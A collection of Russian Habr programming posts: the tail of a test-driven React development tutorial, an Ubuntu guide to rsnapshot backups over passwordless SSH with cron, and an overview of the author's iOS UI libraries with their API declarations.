* заглушка для отображения в процессе загрузки - спиннер и
* компонент для отображения данных о группе. Согласно нашей структуре, данные о группе выделены в отдельный объект, а значит обрабатываться должны отдельным компонентом.
В этом случае, как и прежде, мы сразу создаём для них заглушки и на время забываем о них.
Реализуем третий сценарий по аналогичной схеме:
```
test('Когда данные загружены, отображается заголовок и группа. Спиннер не отображается', () => {
const wrapper = mount();
wrapper.setState({
title: "Заголовок 2",
backendAddress: "/view_doc_2.html",
isLoading: false,
group: {
id: "1",
name: "Группа 1",
listOfCollaborators: []
},
loadData: () => {}
})
expect(wrapper.find('h1').length).toBe(1);
expect(wrapper.find('h1').text()).toBe("Заголовок 2");
expect(wrapper.find(Spinner).length).toBe(0);
expect(wrapper.find(Group).length).toBe(1);
});
```
После написания тестов их обязательно надо запустить и убедиться, что они провалились и провалились не по причине синтаксических ошибок в них, а потому, что компонент пока работает не так, как нам нужно. Это будет означать, что тесты, действительно, готовы к работе.
После реализации теста, мы уже предельно точно понимаем, какие ситуации функция или компонент должны обрабатывать и какое поведение от них в этих ситуациях ждать. Значит, самое время написать тело функции.
#### Шаги 4 и 5. Реализация функций и формирование списка задач
После написания тестов, реализация функции становится делом тривиальным. То есть мы, как бы, перенесли всю сложность обдумывания функции на тесты, а теперь остаётся самая простая часть. Тем не менее, и для реализации найдется пара рекомендаций:
* во-первых, старайтесь писать более высокоуровневый код,
* во-вторых, избегайте коварной ошибки, которая называется Knowledge Shift (сдвиг области знаний).
**Высокоуровневый код**
Не торопитесь сразу приступать к реализации. Для начала подумайте не о том, как реализовать алгоритм, а о том, какие крупные шаги в нем могут быть и что вы хотите получить на каждом из этих шагов. Подумайте, можно ли без ущерба вынести каждый такой шаг в отдельную функцию, и если это сделать можно - смело выносите.
В качестве примера мы возьмём реализацию функции расчёта времени между началом и концом рабочей смены, которую мы тестировали ранее. Заглушка этой функции выглядела так:
```
/**
* Рассчитывает количество часов и минут между указанным начальным и конечным временем
* Если время начала работы больше времени конца, то считается, что конечное время - это время следующих суток
* @param worktimeFrom - время начала работы в формате ЧЧ:ММ (от 00:00 до 23:59)
* @param worktimeTo - время конца работы в формате ЧЧ:ММ (от 00:00 до 23:59)
* @return количество часов и минут между переданным временем в формате Хч Y?мин, например 6ч 18мин или 5ч, если количество часов полное
*/
//TODO
export const getWorkDuration = (worktimeFrom: string, worktimeTo: string): string => {
return "6ч 18мин";
}
```
Очевидно, что для того, чтобы получить разницу во времени между двумя параметрами, каждый из которых представляет собой строку в формате "ЧЧ:ММ", и вернуть эту разницу тоже в строковом формате, нам надо выполнить несколько действий:
1. Привести параметры к числовым значениям, например, минутам, прошедшим с 00:00
2. Вычислить разницу между ними, с учетом того, находятся они в одних сутках или в разных
3. Привести получившуюся разницу к формату Xч Y?мин, который и вернуть из функции
И тут мы могли бы пойти двумя путями:
* сразу начать делить параметры на части по разделителю ":", проверяя входные значения и умножая часы на минуты и т.д. или
* выделить каждый шаг в отдельную функцию.
В результате мы бы получили такую картину:
```
/**
* Рассчитывает количество часов и минут между указанным начальным и конечным временем
* Если время начала работы больше времени конца, то считается, что конечное время - это время следующих суток
* @param worktimeFrom - время начала работы в формате ЧЧ:ММ (от 00:00 до 23:59)
* @param worktimeTo - время конца работы в формате ЧЧ:ММ (от 00:00 до 23:59)
* @return количество часов и минут между переданным временем в формате Хч Y?мин, например 6ч 18мин или 5ч, если количество часов полное
*/
export const getWorkDuration = (worktimeFrom: string, worktimeTo: string): string => {
const worktimeFromInMinutes = getWorktimeToMinutes(worktimeFrom);
const worktimeToInMinutes = getWorktimeToMinutes(worktimeTo);
const minutesDiff = calcDiffBetweenWorktime(worktimeFromInMinutes, worktimeToInMinutes);
return convertDiffToString(minutesDiff);
}
/**
* Вычиcляет количество минут, прошедших с начала суток
* @param worktimeFrom - время в формате ЧЧ:ММ (от 00:00 до 23:59)
* @returns количество минут, прошедших с 00ч 00минут
*/
//TODO
export const getWorktimeToMinutes = (worktime: string): number => {
return 0;
}
/**
* Вычисляет количество минут между началом и концом рабочего дня с учётом суток
* @param worktimeFrom - время начала рабочего дня в виде количества минут, прошедших с начала суток
* @param worktimeTo - время конца рабочего дня в виде количества минут, прошедших с начала суток
* @returns количество минут между началом и концом рабочего дня с учётом суток
*/
//TODO
export const calcDiffBetweenWorktime = (worktimeFrom: number, worktimeTo: number): number => {
return 0;
}
/**
* Преобразовывает количество минут во время в формате Хч Y?мин
* @param minutes - количество минут
* @returns время в формате Хч Y?мин, например 6ч 18мин или 5ч
*/
//TODO
export const convertDiffToString = (minutes: number): string => {
return "6ч 18мин";
}
```
Основная функция здесь распадается на несколько вложенных, определяя, по сути, только верхнеуровневый алгоритм преобразования. Сами же детали реализации алгоритма вынесены в отдельные функции. Согласно нашей технологии, для каждой новой функции сразу пишется только заглушка и маркер TODO, который формирует наш список задач. Сами функции будут реализовываться позже. Вложенные функции, в свою очередь, могут дробиться на ещё более мелкие по тем же принципам.
В итоге мы получим большое количество маленьких универсальных функций, комбинируя которые мы сможем решать совершенно разные задачи. А учитывая, что вложенные функции, если соблюдать технологию, сами собой получаются нормально документированными и тестированными, они вполне могут составить какую-то отдельную библиотеку функционала, которая будет переиспользоваться в других проектах.
**Knowledge Shift**
Говоря о проектировании функций, конечно же, нельзя обойти стороной такую ошибку как Knowledge Shift.
Чтобы понять, что это за ошибка, мы снова обратимся к чистым функциям, которые, как вы знаете, работает только с теми структурами данных, которые передаются ей в качестве параметров - эти структуры составляют её область знаний (домен) . Но часто случается так, что структуры, поступающие на вход функции сами являются сложными, то есть содержат внутри себя вложенные объекты или массивы.
В этом случае, мы рискуем столкнуться с ситуацией, когда функция начинает выполнять какие-то операции над входными структурами, а затем переключается на работу с вложенными, как бы сдвигая фокус с родителя на дочерний объект. Это и есть Knowledge Domain Shift или просто Knowledge Shift.
В результате мы получаем разбухшую, трудно тестируемую и поддерживаемую функцию, которая, вопреки требованию единой ответственности, отвечает сразу за несколько структур.
Чтобы этого избежать, рекомендуется передавать обработку внутренних сложных структур в отдельные функции, как мы сделали это при реализации нашего реакт-компонента App:
```
export default class App extends Component {
state = {
title: "Отображение списка групп",
backendAddress: "",
isLoading: true,
group: undefined,
loadData: this.loadData.bind(this)
}
/\*\*
\* Метод загрузки данных с сервера
\*/
//TODO
loadData() {}
componentDidMount() {
//Вызываем метод loadData при загрузке приложения
this.loadData();
}
render() {
const {isLoading, group, title} = this.state;
return (
{title}
=======
{
isLoading ?
//Структуру типа Group передаем на обработку отдельному компоненту
:
}
);
}
}
```
Мы добавили в компонент реализацию метода жизненного цикла componentDidMount, который вызовет наш метод загрузки данных при отображении компонента. Но основной функционал у нас содержится в методе render. В нем мы выводим заголовок и, в зависимости от статуса загрузки, рисуем либо заглушку - спиннер, либо компонент Group.
Обратите внимание, что мы напрямую используем только простые данные, относящиеся к структуре cостояния компонента. Сложную вложенную структуру group мы просто передаем в отдельный компонент, потому что не хотим, чтобы компонент App знал о ней что-то кроме того, что она вообще есть. Таким образом, структуры данных определяют, по сути, не только реализацию конкретного компонента, но и, частично, структуру приложения и его разбиение на компоненты.
Теперь, нам остаётся только удостовериться, что все написанные нами тесты проходят. После чего, мы берем следующую задачку, отмеченную маркером TODO и реализовываем её по точно такой же схеме: тесты + реализация функции. И так мы продолжаем до тех пор, пока ни одной TODO в нашем списке не останется.
Когда наступит этот чудный момент вы просто запустите приложение и насладитесь тем, как оно просто работает. Не валится из-за пропущенных ошибок или забытого и нереализованного сценария, а просто работает.
Вот в общем-то и весь подход. Он не сложен, но требует привычки и дисциплины. Как и в любом сложном деле, самая большая проблема - начать и не поддаваться желанию бросить его на первых парах. Если это удастся, то через некоторое время вы и думать не захотите о том, чтобы писать код по старинке: без тестов, документации и с длинными непонятными функциями. Успехов! | https://habr.com/ru/post/545852/ | null | ru | null |
# Настройка резервного копирования в Ubuntu
Настройка резервного копирования в Ubuntu за 20 минут.
======================================================
Для работы над проектами использую svn, который находится на удаленном виртуальном выделенном хосте, под управлением ubuntu 8.04. Со временем объемы данных выросли, как и критичность этих данных. Потеря чего-то снилась в кошмарах. Время от времени копировал репозитории на локальный компьютер. Недавно мне это надоело. И я стал искать возможности автоматизировать это дело. Не буду говорить о поисках и вариантах, расскажу о результатах.
Итак, мы имеем удаленный хост под управлением ubuntu, с некоторым массивом довольно критичных данных. Довольно логичным было бы настроить бэкап прямо на удаленном хосте, с помощью tar по крону, rsyns и т.д. Но, т.к. место на виртуальном выделенном хостинге довольно дорого и использовать его лучше по делу, идеально было бы, чтобы данные автоматически копировались на какую нибудь локальную машину, место на которой хоть отбавляй. В моем случае это файловый сервис в офисе, под управлением все той же Ubuntu.
Подготовка
----------
Данные будем переливать с помощью SSH, поэтому давайте сначала настроим public и private ключи для локального и удаленного серверов. Делаем это для того, чтобы программа, которая будет переливать данные могла заходить по SSH без пароля.
`$ ssh-keygen -t dsa`
Оставьте папку по-умолчанию, а пароль сделайте пустым.
Эта команда должна создать в папке ~/.ssh(по умолчанию) два файла — private и public key. private предназначается для локальной машины, pub отправляется на удаленный.
Теперь копируем private key в папку /root/.ssh, чтобы пользователь root так мог пользоваться им
`$ cd ~/.ssh
$ sudo mkdir /root/.ssh
$ sudo cp id_dsa /root/.ssh`
Теперь надо скопировать public key на удаленную машину, с которой мы хотим копировать данные. Предварительно создайте пользователя backup на удаленной машине(команда adduser). Не забудьте дать этому пользователю права на чтение каталогов, которые вы хотите копировать.
`$ cat ~/.ssh/id_dsa.pub | ssh backup@remotehost.ru "cat >> ~/.ssh/authorized_keys2"`
Теперь можем попробывать зайти через ssh на удаленную машину:
`$ ssh backup@remotehost.ru`
В случае, если все сделано правильно, нас впустит без пароля.
На удаленной машине ставим нормальные права на чтение публичного ключа:
`remotehostru$ chmod 700 .ssh
remotehostru$ chmod 400 .ssh/authorized_keys2
remotehostru$ exit`
Настройка rsnapshot
-------------------
rsnapshot — утилита для создания копий состояния файловых систем на базе rsync. Она упрощает создание периодических копий с локальной и удаленных машин по ssh. Она использует, по возможности, жесткие связи, что позволяет существенно уменьшить объем необходимого дискового пространства. (цитата [отсюда](http://citkit.ru/package/rsnapshot/))
#### Установка
Устанавливаем rsnapshot:
`$ sudo apt-get install rsnapshot`
Если вы используете не debian-подобный дистрибутив, rsnapshot наверняка тоже есть в репозиториях вашего дистрибутива. Для CentOS, при включенных RPMForge это делается, например, так:
`# yum install rsnapshot`
Теперь нам нужно создать директорию, где мы собираемся хранить наши «снимки»:
`$ sudo mkdir /var/snapshots`
#### Настройка
Теперь можно перейти к настройке, собственно, rsnapshot:
`$ sudo nano /etc/rsnapshot.conf`
Вместо nano вы можете использовать любой другой редактор, например vi, или gedit, если работаете в GNOME.
Настроить нужно следующие параметры:
`snapshot_root - директория, в которую вы хотите сохранять "снимки".
interval xxx yy - ххх - название интервала(например hourly, daily), yy - количество снимков для каждого. Например:
interval hourly 6
interval daily 7`
Означает, что мы хотим хранить 6 ежечасных копий и 7 ежемесячных. Если уже доступно указанное количество копий, rsnapshot будет заменить старую более новой.
Расскомментируйте cmd\_cp. cmd\_ssh расскоментируйте и измените на
`cmd_ssh /usr/bin/ssh`
Настройка бэкапа осуществляется командой backup <откуда> <куда>:
`#Добавляем папку /etc/ с локальной машины в папку localhost/
backup /etc/ local/
#Добавляем папку /var/svn с удаленной машины в папку remotehost/
backup backup@remotehost.ru:/var/svn/ remotehost/`
**Помните, что в конфигурационном файле недопустимы пробелы — используйте только табы.**
#### Пробный запуск
Запустим rsnapshot:
`$ rsnapshot hourly`
Второй параметр означает интервал, который мы задали в конфигурационном файле.
Команда может выполняется продолжительное время. После выполнения, смотрим, что она создала:
`$ ls -l /var/snapshots`
Пока что в директории должен быть один каталог: hourly.0. При следующем запуске rsnapshot будет создавать каталоги hourly.1, hourly.2 и т.д., пока не упрется в максимум, указанный нами в конфигурационном файле.
#### Настройка cron
В Ubuntu автоматически создается файл /etc/cron.d/rsnapshot со следующим содержанием:
`0 */4 * * * root /usr/bin/rsnapshot hourly
30 3 * * * root /usr/bin/rsnapshot daily
0 3 * * 1 root /usr/bin/rsnapshot weekly
30 2 1 * * root /usr/bin/rsnapshot monthly`
Вот и все. Теперь у вас 6 раз в сутки должен автоматически создаваться снимок данных с вашего удаленного сервера. Данные в сохранности, да еще и географически распределены.
Кстати, 6 раз в сутки не означает, что размер будет в 6 раз больше, чем если копировать всего 1 раз в сутки. Если в промежутки между копированиями не будет изменений в файлах, то общий размер копий почти не изменится.
#### Дополнительная информация
С помощью параметра backup\_script можно также настроить резервное копирование баз данных MySQL, да и вообще всего, чего угодно. Я не описывал сей процесс, т.к. у меня он не используется и ничего конкретного сказать не могу.
Подробнее можно почитать в гугле. По запросу rsnapshot вылезает куча релевантных ссылок, правда на английском языке.
Прошу особо не ругать, на гуру администрирования(да и linux) я не похож, но довольно долго искал, как просто автоматизировать резервное копирование — нашел способ, решил поделиться.
Но конструктивной критике и предложениям буду, конечно, рад.
**UPD: [Эта же статья в моем блоге](http://kolger.ru/2008/12/ubuntu-backup-with-rsnapshot/)** | https://habr.com/ru/post/45912/ | null | ru | null |
# iOS Инструменты разработчика
Вступление
----------
Всем привет, меня зовут Григорий, последние 5 лет занимался программированием под iOS. Сейчас решил сменить сферу деятельности и ударился в веб, но чтобы добро не пропадало, хочу поделиться с сообществом своими наработками, накопившимися за это время. Библиотеки выложены на GitHub и добавлены в CocoaPods. Инструкции по установке и использованию вы сможете найти по ссылкам на GitHub, здесь же будет краткое описание.
Минимальная поддерживаемая версия — iOS 6.0.
[LGAlertView](https://github.com/Friend-LGA/LGAlertView)
--------------------------------------------------------
**Скриншоты**[](https://habrastorage.org/getpro/habr/post_images/e07/1f4/279/e071f427929c9b85693374d3aee365ee.gif)[](https://habrastorage.org/getpro/habr/post_images/f61/f5a/175/f61f5a1753f730caf953b1da595fea71.png)[](https://habrastorage.org/getpro/habr/post_images/fe6/02c/c65/fe602cc65738f276adb6788525e6e663.png)[](https://habrastorage.org/getpro/habr/post_images/923/248/f73/923248f73cc66b9700b5e2d35bf092c8.png)[](https://habrastorage.org/getpro/habr/post_images/2c5/cfc/451/2c5cfc4514a030aef00cc44ea4d8533b.png)[](https://habrastorage.org/getpro/habr/post_images/49f/dc8/5d3/49fdc85d3e959029f98dc4ffd1e85ce0.png)[](https://habrastorage.org/getpro/habr/post_images/27b/294/e34/27b294e3448cc9de9f5c689cd832661d.png)[](https://habrastorage.org/getpro/habr/post_images/e1d/c95/72b/e1dc9572b46b33ae6d865c0ce753c34b.png)[](https://habrastorage.org/getpro/habr/post_images/4d7/02b/cb1/4d702bcb1eff7cfa97542f20ca36240e.png)
UIAlertView — один из часто используемых компонентов при разработке на iOS. Выглядит и работает из коробки замечательно, проблема в том, что возможностей кастомизировать его Apple практически не дает, есть только несколько стандартно заданных стилей отображения. А что если нам нужно вставить внутрь свою вьюху, или банально поменять цвет кнопок или фона? Вот и было принято решение написать универсальный класс, который повторял бы работу UIAlertView, но имел широкие возможности по настройке. Так и появился LGAlertView.
При инициализации у нас есть возможность выбора между несколькими стилями:
**Немного кода**Стандартный (заголовок + сообщение + кнопки):
```
- (instancetype)initWithTitle:(NSString *)title
message:(NSString *)message
buttonTitles:(NSArray *)buttonTitles
cancelButtonTitle:(NSString *)cancelButtonTitle
destructiveButtonTitle:(NSString *)destructiveButtonTitle;
```
Cо встроенной вьюхой (заголовок + сообщение + UIView + кнопки):
```
- (instancetype)initWithViewStyleWithTitle:(NSString *)title
message:(NSString *)message
view:(UIView *)view
buttonTitles:(NSArray *)buttonTitles
cancelButtonTitle:(NSString *)cancelButtonTitle
destructiveButtonTitle:(NSString *)destructiveButtonTitle;
```
C индикатором активности (заголовок + сообщение + UIActivityIndicatorView + кнопки):
```
- (instancetype)initWithActivityIndicatorStyleWithTitle:(NSString *)title
message:(NSString *)message
buttonTitles:(NSArray *)buttonTitles
cancelButtonTitle:(NSString *)cancelButtonTitle
destructiveButtonTitle:(NSString *)destructiveButtonTitle;
```
C полосой прогресса (заголовок + сообщение + UIProgressView + кнопки):
```
- (instancetype)initWithActivityIndicatorStyleWithTitle:(NSString *)title
message:(NSString *)message
buttonTitles:(NSArray *)buttonTitles
cancelButtonTitle:(NSString *)cancelButtonTitle
destructiveButtonTitle:(NSString *)destructiveButtonTitle;
```
C полями ввода (заголовок + сообщение + поля ввода + кнопки):
```
- (instancetype)initWithActivityIndicatorStyleWithTitle:(NSString *)title
message:(NSString *)message
buttonTitles:(NSArray *)buttonTitles
cancelButtonTitle:(NSString *)cancelButtonTitle
destructiveButtonTitle:(NSString *)destructiveButtonTitle;
```
Для возможности отлавливать события есть несколько путей: делегирование, как в стандартном UIAlertView, и блоки (кому как больше нравится). Кроме того, предусмотрены NSNotification для появления и исчезновения LGAlertView с экрана. Сначала думал добавить нотификации и для кнопок, но решил, что все-таки это будет лишним.
**Немного кода**Делегирование:
```
@property (assign, nonatomic) id delegate;
- (void)alertViewWillShow:(LGAlertView \*)alertView;
- (void)alertViewWillDismiss:(LGAlertView \*)alertView;
- (void)alertViewDidShow:(LGAlertView \*)alertView;
- (void)alertViewDidDismiss:(LGAlertView \*)alertView;
- (void)alertView:(LGAlertView \*)alertView buttonPressedWithTitle:(NSString \*)title index:(NSUInteger)index;
- (void)alertViewCancelled:(LGAlertView \*)alertView;
- (void)alertViewDestructiveButtonPressed:(LGAlertView \*)alertView;
```
Блоки:
```
@property (strong, nonatomic) void (^willShowHandler)(LGAlertView *alertView);
@property (strong, nonatomic) void (^willDismissHandler)(LGAlertView *alertView);
@property (strong, nonatomic) void (^didShowHandler)(LGAlertView *alertView);
@property (strong, nonatomic) void (^didDismissHandler)(LGAlertView *alertView);
@property (strong, nonatomic) void (^actionHandler)(LGAlertView *alertView, NSString *title, NSUInteger index);
@property (strong, nonatomic) void (^cancelHandler)(LGAlertView *alertView, BOOL onButton);
@property (strong, nonatomic) void (^destructiveHandler)(LGAlertView *alertView);
```
NSNotifications:
```
kLGAlertViewWillShowNotification;
kLGAlertViewWillDismissNotification;
kLGAlertViewDidShowNotification;
kLGAlertViewDidDismissNotification;
```
Для настройки внешнего вида есть много свойств. Перечислять их долго, думаю из названий должно быть все понятно:
**Немного кода**
```
/** Default is YES */
@property (assign, nonatomic, getter=isCancelOnTouch) BOOL cancelOnTouch;
/** Set highlighted buttons background color to blue, and set highlighted destructive button background color to red. Default is YES */
@property (assign, nonatomic, getter=isColorful) BOOL colorful;
@property (strong, nonatomic) UIColor *tintColor;
@property (strong, nonatomic) UIColor *coverColor;
@property (strong, nonatomic) UIColor *backgroundColor;
@property (assign, nonatomic) CGFloat layerCornerRadius;
@property (strong, nonatomic) UIColor *layerBorderColor;
@property (assign, nonatomic) CGFloat layerBorderWidth;
@property (strong, nonatomic) UIColor *layerShadowColor;
@property (assign, nonatomic) CGFloat layerShadowRadius;
@property (assign, nonatomic) CGFloat heightMax;
@property (assign, nonatomic) CGFloat widthMax;
@property (strong, nonatomic) UIColor *titleTextColor;
@property (assign, nonatomic) NSTextAlignment titleTextAlignment;
@property (strong, nonatomic) UIFont *titleFont;
@property (strong, nonatomic) UIColor *messageTextColor;
@property (assign, nonatomic) NSTextAlignment messageTextAlignment;
@property (strong, nonatomic) UIFont *messageFont;
@property (strong, nonatomic) UIColor *buttonsTitleColor;
@property (strong, nonatomic) UIColor *buttonsTitleColorHighlighted;
@property (assign, nonatomic) NSTextAlignment buttonsTextAlignment;
@property (strong, nonatomic) UIFont *buttonsFont;
@property (strong, nonatomic) UIColor *buttonsBackgroundColorHighlighted;
@property (assign, nonatomic) NSUInteger buttonsNumberOfLines;
@property (assign, nonatomic) NSLineBreakMode buttonsLineBreakMode;
@property (assign, nonatomic) BOOL buttonsAdjustsFontSizeToFitWidth;
@property (assign, nonatomic) CGFloat buttonsMinimumScaleFactor;
@property (strong, nonatomic) UIColor *cancelButtonTitleColor;
@property (strong, nonatomic) UIColor *cancelButtonTitleColorHighlighted;
@property (assign, nonatomic) NSTextAlignment cancelButtonTextAlignment;
@property (strong, nonatomic) UIFont *cancelButtonFont;
@property (strong, nonatomic) UIColor *cancelButtonBackgroundColorHighlighted;
@property (assign, nonatomic) NSUInteger cancelButtonNumberOfLines;
@property (assign, nonatomic) NSLineBreakMode cancelButtonLineBreakMode;
@property (assign, nonatomic) BOOL cancelButtonAdjustsFontSizeToFitWidth;
@property (assign, nonatomic) CGFloat cancelButtonMinimumScaleFactor;
@property (strong, nonatomic) UIColor *destructiveButtonTitleColor;
@property (strong, nonatomic) UIColor *destructiveButtonTitleColorHighlighted;
@property (assign, nonatomic) NSTextAlignment destructiveButtonTextAlignment;
@property (strong, nonatomic) UIFont *destructiveButtonFont;
@property (strong, nonatomic) UIColor *destructiveButtonBackgroundColorHighlighted;
@property (assign, nonatomic) NSUInteger destructiveButtonNumberOfLines;
@property (assign, nonatomic) NSLineBreakMode destructiveButtonLineBreakMode;
@property (assign, nonatomic) BOOL destructiveButtonAdjustsFontSizeToFitWidth;
@property (assign, nonatomic) CGFloat destructiveButtonMinimumScaleFactor;
@property (assign, nonatomic) UIActivityIndicatorViewStyle activityIndicatorViewStyle;
@property (strong, nonatomic) UIColor *activityIndicatorViewColor;
@property (strong, nonatomic) UIColor *progressViewProgressTintColor;
@property (strong, nonatomic) UIColor *progressViewTrackTintColor;
@property (strong, nonatomic) UIImage *progressViewProgressImage;
@property (strong, nonatomic) UIImage *progressViewTrackImage;
@property (strong, nonatomic) UIColor *progressLabelTextColor;
@property (assign, nonatomic) NSTextAlignment progressLabelTextAlignment;
@property (strong, nonatomic) UIFont *progressLabelFont;
@property (strong, nonatomic) UIColor *separatorsColor;
@property (assign, nonatomic) UIScrollViewIndicatorStyle indicatorStyle;
```
Чтобы показывать или скрывать LGAlertView предусмотрены следующие методы:
```
- (void)showAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)dismissAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
```
Кроме того удалось добиться правильного поведения в случае, когда появляется несколько вьюх подряд без закрытия предыдущих. Вы можете не боясь комбинировать UIAlertView, UIActionSheet, LGAlertView и LGActionSheet. При появлении новых старые будут исчезать, а при исчезновении — появляться.
[LGActionSheet](https://github.com/Friend-LGA/LGActionSheet)
------------------------------------------------------------
**Скриншоты**[](https://habrastorage.org/getpro/habr/post_images/a90/dfc/6ba/a90dfc6bae4a5b342bee804119004708.gif)[](https://habrastorage.org/getpro/habr/post_images/586/11c/c14/58611cc14c59df30ad59aaffb3648b27.png)[](https://habrastorage.org/getpro/habr/post_images/c59/4b3/24c/c594b324ca3a26b3785facd49e420c55.png)[](https://habrastorage.org/getpro/habr/post_images/42a/b50/217/42ab502175893aef6128a95beeb93a0d.png)[](https://habrastorage.org/getpro/habr/post_images/74a/9ee/c68/74a9eec68206b421e544b2de41f2b669.png)[](https://habrastorage.org/getpro/habr/post_images/061/a77/c3b/061a77c3bd01e4e1f0556377d8b3ebf6.png)
Причины появления и принцип действия аналогичны LGAlertView.
Стили при инициализации:
**Немного кода**Стандартный (сообщение + кнопки):
```
- (instancetype)initWithTitle:(NSString *)title
buttonTitles:(NSArray *)buttonTitles
cancelButtonTitle:(NSString *)cancelButtonTitle
destructiveButtonTitle:(NSString *)destructiveButtonTitle;
```
Cо встроенной вьюхой (сообщение + UIView + кнопки):
```
- (instancetype)initWithTitle:(NSString *)title
view:(UIView *)view
buttonTitles:(NSArray *)buttonTitles
cancelButtonTitle:(NSString *)cancelButtonTitle
destructiveButtonTitle:(NSString *)destructiveButtonTitle;
```
События отлавливаются с помощью делегирования, блоков и нотификаций:
**Немного кода**Делегирование:
```
@property (assign, nonatomic) id delegate;
- (void)actionSheetWillShow:(LGActionSheet \*)actionSheet;
- (void)actionSheetWillDismiss:(LGActionSheet \*)actionSheet;
- (void)actionSheetDidShow:(LGActionSheet \*)actionSheet;
- (void)actionSheetDidDismiss:(LGActionSheet \*)actionSheet;
- (void)actionSheet:(LGActionSheet \*)actionSheet buttonPressedWithTitle:(NSString \*)title index:(NSUInteger)index;
- (void)actionSheetCancelled:(LGActionSheet \*)actionSheet;
- (void)actionSheetDestructiveButtonPressed:(LGActionSheet \*)actionSheet;
```
Блоки:
```
@property (strong, nonatomic) void (^willShowHandler)(LGActionSheet *actionSheet);
@property (strong, nonatomic) void (^willDismissHandler)(LGActionSheet *actionSheet);
@property (strong, nonatomic) void (^didShowHandler)(LGActionSheet *actionSheet);
@property (strong, nonatomic) void (^didDismissHandler)(LGActionSheet *actionSheet);
@property (strong, nonatomic) void (^actionHandler)(LGActionSheet *actionSheet, NSString *title, NSUInteger index);
@property (strong, nonatomic) void (^cancelHandler)(LGActionSheet *actionSheet, BOOL onButton);
@property (strong, nonatomic) void (^destructiveHandler)(LGActionSheet *actionSheet);
```
NSNotifications:
```
kLGActionSheetWillShowNotification;
kLGActionSheetWillDismissNotification;
kLGActionSheetDidShowNotification;
kLGActionSheetDidDismissNotification;
```
Настройка внешнего вида и анимаций (по умолчанию анимации для iPhone и iPad различается):
**Немного кода**
```
@property (assign, nonatomic) LGActionSheetTransitionStyle transitionStyle;
/** Default is YES */
@property (assign, nonatomic, getter=isCancelOnTouch) BOOL cancelOnTouch;
/** Set highlighted buttons background color to blue, and set highlighted destructive button background color to red. Default is YES */
@property (assign, nonatomic, getter=isColorful) BOOL colorful;
@property (strong, nonatomic) UIColor *tintColor;
@property (strong, nonatomic) UIColor *coverColor;
@property (strong, nonatomic) UIColor *backgroundColor;
@property (assign, nonatomic) CGFloat layerCornerRadius;
@property (strong, nonatomic) UIColor *layerBorderColor;
@property (assign, nonatomic) CGFloat layerBorderWidth;
@property (strong, nonatomic) UIColor *layerShadowColor;
@property (assign, nonatomic) CGFloat layerShadowRadius;
@property (assign, nonatomic) CGFloat heightMax;
@property (assign, nonatomic) CGFloat widthMax;
@property (strong, nonatomic) UIColor *titleTextColor;
@property (assign, nonatomic) NSTextAlignment titleTextAlignment;
@property (strong, nonatomic) UIFont *titleFont;
@property (strong, nonatomic) UIColor *buttonsTitleColor;
@property (strong, nonatomic) UIColor *buttonsTitleColorHighlighted;
@property (assign, nonatomic) NSTextAlignment buttonsTextAlignment;
@property (strong, nonatomic) UIFont *buttonsFont;
@property (strong, nonatomic) UIColor *buttonsBackgroundColorHighlighted;
@property (assign, nonatomic) NSUInteger buttonsNumberOfLines;
@property (assign, nonatomic) NSLineBreakMode buttonsLineBreakMode;
@property (assign, nonatomic) BOOL buttonsAdjustsFontSizeToFitWidth;
@property (assign, nonatomic) CGFloat buttonsMinimumScaleFactor;
@property (strong, nonatomic) UIColor *cancelButtonTitleColor;
@property (strong, nonatomic) UIColor *cancelButtonTitleColorHighlighted;
@property (assign, nonatomic) NSTextAlignment cancelButtonTextAlignment;
@property (strong, nonatomic) UIFont *cancelButtonFont;
@property (strong, nonatomic) UIColor *cancelButtonBackgroundColorHighlighted;
@property (assign, nonatomic) NSUInteger cancelButtonNumberOfLines;
@property (assign, nonatomic) NSLineBreakMode cancelButtonLineBreakMode;
@property (assign, nonatomic) BOOL cancelButtonAdjustsFontSizeToFitWidth;
@property (assign, nonatomic) CGFloat cancelButtonMinimumScaleFactor;
@property (strong, nonatomic) UIColor *destructiveButtonTitleColor;
@property (strong, nonatomic) UIColor *destructiveButtonTitleColorHighlighted;
@property (assign, nonatomic) NSTextAlignment destructiveButtonTextAlignment;
@property (strong, nonatomic) UIFont *destructiveButtonFont;
@property (strong, nonatomic) UIColor *destructiveButtonBackgroundColorHighlighted;
@property (assign, nonatomic) NSUInteger destructiveButtonNumberOfLines;
@property (assign, nonatomic) NSLineBreakMode destructiveButtonLineBreakMode;
@property (assign, nonatomic) BOOL destructiveButtonAdjustsFontSizeToFitWidth;
@property (assign, nonatomic) CGFloat destructiveButtonMinimumScaleFactor;
@property (strong, nonatomic) UIColor *separatorsColor;
@property (assign, nonatomic) UIScrollViewIndicatorStyle indicatorStyle;
```
Чтобы показывать или скрывать LGActionSheet предусмотрены следующие методы:
```
- (void)showAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)dismissAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
```
[LGSideMenuController](https://github.com/Friend-LGA/LGSideMenuController)
--------------------------------------------------------------------------
**Скриншоты**[](https://habrastorage.org/getpro/habr/post_images/732/ba4/551/732ba455146a1319896251f98e431b4f.gif)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGSideMenuController/Preview2.gif)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGSideMenuController/Preview3.gif)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGSideMenuController/1.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGSideMenuController/2.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGSideMenuController/3.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGSideMenuController/4.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGSideMenuController/5.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGSideMenuController/6.png)
Без выезжающих боковых меню в наше время не обходится практически ни одно серьезное приложение. В какой-то момент надоело писать для каждого проекта разовые решения и была создана данная библиотека.
Краткий список возможностей:
* Поддерживается как левое меню, так и правое
* Различные виды анимаций
* Показ и скрытие по нажатию кнопки и по жесту
* Настройка правил показа для разных девайсов и ориентаций (например можно сделать меню нескрываемым для landscape ориентации на iPad)
* На выбор скрывать или показывать статус бар
* Широкие возможности по настройке внешнего вида
Добавить данный контроллер в проект довольно просто. Нужно указать ваш корневой контроллер (обычно это UINavigationController) как корневой контроллер LGSideMenuController'a… звучит немного тавтологично, приведу пример:
